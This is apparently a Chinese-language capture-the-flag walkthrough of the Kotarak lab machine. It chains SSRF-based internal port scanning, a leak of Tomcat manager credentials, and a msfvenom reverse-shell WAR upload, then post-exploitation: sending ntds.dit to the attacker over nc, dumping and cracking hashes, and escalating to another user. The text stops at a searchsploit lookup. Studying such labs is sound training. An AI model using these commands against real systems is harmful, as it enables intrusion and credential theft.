kotarak(ssrf+上传)
Kotarak(tomcat web server)
端口扫描
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8080/tcp open http Apache Tomcat 8.5.5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
首先访问http://10.10.10.55:8080,显示HTTP Status 404 - /,状态码404 not found。于是枚举目录。
1 |
|
发现基本上都是302重定向。
于是访问下 http://10.10.10.55:8080/manager (A地址)
发现302重定向到http://10.10.10.55:8080/manager/ (B地址)
并且,B地址的状态码是404。但是404页面有个提示,tomcat 7重构并且有些urls已经改变。所有使用管理应用的urls现在应该使用如下选项:
/manager/html for the HTML GUI
/manager/text for the text interface
/manager/jmxproxy for the JMX proxy
/manager/status for the status pages
既然提示这么贴心了,那我们就按照所说的访问一下。
然后发现,所给的urls都需要登陆才能访问。
再搜索下 Apache Tomcat 8.5.5。参考
tomcat是java web服务器
尝试访问:http://10.10.10.55:8080/index.jsp ,200ok。
SSRF-服务端请求伪造
没有经验的小白先跟whale学习下。
该漏洞经常出现在服务端,一些web应用程序经常从其他server获取信息。
客户端 (去B服务器取回图片 !)——》A服务端(执行)————》B服务器(返回图片)————》A服务器(执行完毕)————》客户端(收到图片)
攻击方式:
客户端(去扫描B服务器 !)——》A服务端(执行)————》B服务器(返回数据包)————》A服务器(执行完毕)————》客户端(收到扫描结果)
服务器没有过滤客户端的请求。本来设计的功能想法是好的,但是攻击者不打算以设计者的想法来使用这个功能。
代码不多说,本文只讲讲实践部分,至于更深层次的漏洞原理和代码片段还需要各位自行学习。
再次扫描,全端口扫描
nmap -p- -sV 目标的ip
作者扫描出了一个开放在60000的端口,类型是未知。但是我扫描的结果是,需要8个多小时。。想了半天才想起来,目标机器是在美国,对于网速实在不能苛求。。(感觉好坑,天朝就没有这种试验靶场吗)
扫描出了以后,用浏览器访问。
1 |
|
Trying
1
2
3python -m SimpleHTTPServer
ifconfig
在本地开启服务器,查看本地ip。尝试用浏览器上的该功能访问下本地,是否成功。
输入http://本地ip:8000
浏览器跳转到一个地址http://10.10.10.55:60000/url.php?path=http://本地ip:8000
成功访问客户端本地地址。Trying
然后尝试ssrf,提交file:///etc/passwd
返回try harder
尝试File FIlE ,同样的返回结果。说明目标机可能用正则表达式限制了file这个字符。
- Trying
尝试http://localhost:60000
返60000端口上的正常页面。
因为端口扫描那一步客户端访问都是302重定向,需要登陆才能访问,于是我们通过60000端口上的“搜索”功能,绕过对客户端的限制。让服务器替我们获取想要的信息。
wfuzz
- 这是一个web扫描软件
可以用wfuzz -h
查看使用方式
我们使用下列参数,扫描服务器开放的端口wfuzz -c -z range,1-65535 http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ
图片中,2 Ch是响应的字符串,访问后发现没有任何有价值的东西,于是我们忽略它。wfuzz -c -z range,1-65535 --hl=2 http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ
扫描后,我们得到了非2 Ch的响应结果。
看到了很多端口信息,因为客户端nmap扫描是远程访问,有 防火墙等等,所以在这里会得到更加详细的(在远程扫描不到的)端口信息。
- trying
一个一个访问这些开放了的端口,http://10.10.10.55:60000/url.php?path=http://localhost:端口
在888端口,找到了一个备份页面backup。
- Trying
访问备份页面的地址http://10.10.10.55:60000/url.php?path=http://localhost:888/?doc=backup
url编码一下http%3A%2f%2f10.10.10.55%3A60000%2furl.php%3Fpath%3Dhttp%3A%2f%2flocalhost%3A888%2f%3Fdoc%3Dbackup
得到了可能是tomcat配置文件中的用户名密码。
(有一个小技巧,在端口扫描那一步,得到了不能访问的文件名,可以用ssrf去访问,来获取敏感文件。)
我们用这个口令登陆端口扫描那一步获得的地址manager/html
获取shell
刚刚通过ssrf获取敏感文件,从而突破防线,接下来,我们要获取一个shell。
用msfvenom生成一个payload,接下来要将它上传到目标机上运行。
因为主页面上有上传功能,提示:
1 |
|
暗示了我们可以上传一个war类型的反弹shell。
msfvenom -p java/jsp_shell_reverse_tcp LHOST=kali的ip LPORT=80 -f war > ippsec.war
War——web归档文件,war文件用于封装web模块。web模块可以代表一个独立的web应用程序。
Trying
成功上传——本地nc监听80端口nc -lnvp 80
——浏览器访问payload地址,即可获得一个shell。shell中运行
python -c 'import pty;pty.spawn("/bin/bash")'
于是获得一个bash shell。
提权
cd backups
ls 发现tomcat-users.xml
cat *.xml 显示权限不够
cd home
find .
cd tomcat/to_archive/pentest_data/
ls
发现两个文件,.dit
,.bin
file *
说明.dit
是data类型,.bin
是微软windows registry文件。
Trying: nc传文件。
kali中运行:nc -lvnp 443 > ntds.dit
shell中运行:nc 攻击机IP 443 < xx.dit
.dit需要输入全称哈,这里省略了。Trying: 提取.bin文件
impacket-secretsdump -himpacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
得到了Target system bootKey,关于域渗透知识,还欠缺。
得到了一系列用户名和密码的hash值。Trying: tomcat的反弹shell中,运行
arp -a 查看局域网机器
获得10.10.10.2
10.0.3.133
两个机器的IPTrying: 对这两台机器进行扫描
运行nmap, 显示try harder!
用nc进行端口扫描,1
2nc 10.0.3.133 445 连接拒绝
nc -v 10.0.3.133 22 成功连接并且显示ssh版本为,openssh,操作系统为ubuntu。
Trying: 在线对hash进行解密
先删除明显是windows机器的hash,浏览器搜索hashkiller,对剩下的hash解密。awk -F: '{print $4}' hashes
Trying: 尝试ssh登陆
ssh atanas@10.10.10.55
尝试了一个遍,失败Trying: tomcat的反弹shell中,尝试切换用户
su - atanas
使用解密出来的一个密码,成功切换到该用户
cd root
cat app.logTrying: 利用wget命令执行漏洞
searchsploit wget
searchsploit -m exploits/linux/remote/40064.txt